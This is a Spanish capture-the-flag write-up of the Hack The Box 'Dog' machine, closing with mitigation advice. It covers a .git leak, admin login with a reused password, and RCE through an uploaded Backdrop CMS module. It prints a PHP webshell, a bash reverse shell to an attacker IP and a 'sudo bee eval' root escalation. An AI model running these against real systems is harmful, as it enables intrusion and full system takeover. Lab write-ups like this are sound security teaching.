Post

HTB - Dog

HTB - Dog

Dog es una máquina Linux de dificultad Easy que gira en torno a un Backdrop CMS. Un directorio .git expuesto filtra el código fuente y una contraseña de base de datos; con ella accedemos al panel de administración, conseguimos ejecución remota de comandos subiendo un módulo malicioso y escalamos a root reutilizando la contraseña y abusando de sudo bee.

Ficha de la máquina

Campo Valor
Nombre Dog
SO Linux
Dificultad Easy
IP 10.10.11.58
Foothold .git expuesto → creds → módulo malicioso en Backdrop CMS
Privesc Reutilización de contraseña + sudo bee eval
Técnicas clave git-dumper, Backdrop CMS, RCE por módulo, password reuse

IPs, credenciales y flags son de ejemplo / a modo de referencia. No se publican flags reales.

Reconocimiento

Escaneo inicial de puertos:

1
nmap -sC -sV -p- --min-rate 5000 -oN nmap/dog.txt 10.10.11.58
1
2
3
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41

La web es un Backdrop CMS. Lo más interesante es que el servidor expone el directorio .git:

1
2
curl -s http://10.10.11.58/.git/HEAD
# ref: refs/heads/master

Un .git accesible desde la web permite reconstruir todo el código fuente del sitio, incluidos ficheros de configuración con secretos.

Cadena de ataque

flowchart LR
    A[nmap<br/>80/tcp Backdrop CMS] --> B[.git expuesto]
    B --> C[git-dumper<br/>código fuente]
    C --> D[settings.php<br/>contraseña BD]
    D --> E[Login admin<br/>tiffany@dog.htb]
    E --> F[Módulo malicioso<br/>RCE www-data]
    F --> G[Password reuse<br/>usuario johncusack]
    G --> H[sudo bee eval<br/>root]

Foothold

1. Volcado del repositorio Git

Usamos git-dumper para descargar el repositorio completo:

1
2
git-dumper http://10.10.11.58/.git/ dog_src
cd dog_src

Entre los archivos aparece settings.php, con las credenciales de la base de datos de Backdrop:

1
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';

Además, revisando el repo (por ejemplo con grep -r sobre correos) encontramos un usuario válido del CMS: tiffany@dog.htb.

1
grep -rEo '[a-zA-Z0-9._-]+@dog\.htb' dog_src | sort -u

2. Acceso al panel de Backdrop

Probamos esa contraseña reutilizada en el login del CMS (/user/login) con el correo encontrado:

  • Usuario: tiffany@dog.htb
  • Contraseña: BackDropJ2024DS2024

Entramos como administrador.

3. RCE mediante módulo malicioso

Backdrop permite instalar módulos subiendo un archivo comprimido desde Functionality → Install new module. Creamos un módulo mínimo con una webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mkdir shell
cat > shell/shell.info <<'EOF'
type = module
name = shell
description = shell
version = 1.0
backdrop = 1.x
EOF

cat > shell/shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF

tar -czf shell.tar.gz shell

Lo subimos como módulo. Una vez instalado, la webshell queda accesible bajo el directorio de módulos:

1
2
curl "http://10.10.11.58/modules/shell/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)

Lanzamos una reverse shell y estabilizamos:

1
2
3
4
5
# En el atacante
nc -lvnp 4444

# Vía la webshell (URL-encoded)
curl "http://10.10.11.58/modules/shell/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.14.5/4444%200>%261'"

Escalada de privilegios

Reutilización de contraseña

En /home existe el usuario johncusack. La contraseña de la base de datos está reutilizada para su cuenta del sistema:

1
2
su johncusack
# Password: BackDropJ2024DS2024

Con ella también podemos entrar por SSH y leer la flag de usuario.

sudo bee → root

Revisamos los permisos de sudo:

1
sudo -l
1
2
User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

bee es la utilidad de línea de comandos de Backdrop (equivalente a Drush). Dispone de un comando eval que ejecuta PHP arbitrario; al correr como root, esto es ejecución de comandos como root:

1
2
sudo /usr/local/bin/bee --root=/var/www/html eval 'system("id");'
# uid=0(root) gid=0(root)

A partir de aquí, cualquier acción como root. Por ejemplo, otorgar SUID a bash:

1
2
sudo /usr/local/bin/bee --root=/var/www/html eval 'system("chmod +s /bin/bash");'
/bin/bash -p

eval en herramientas administrativas (bee, drush, wp-cli…) permitido vía sudo es equivalente a dar una shell de root. Nunca conceder estos binarios en sudoers sin restricciones.

Spoiler — dónde están las flags La flag de usuario está en el home de johncusack (/home/johncusack/user.txt) y la de root en /root/root.txt. No se incluyen aquí sus valores.

Mitigación

  • No exponer el directorio .git en producción (bloquearlo en el servidor web o desplegar sin control de versiones).
  • No reutilizar contraseñas entre servicios, base de datos y cuentas del sistema.
  • Restringir la subida de módulos/plugins a fuentes confiables en el CMS.
  • No conceder binarios con eval/ejecución arbitraria vía sudo sin argumentos acotados.

Recursos

This post is licensed under CC BY 4.0 by the author.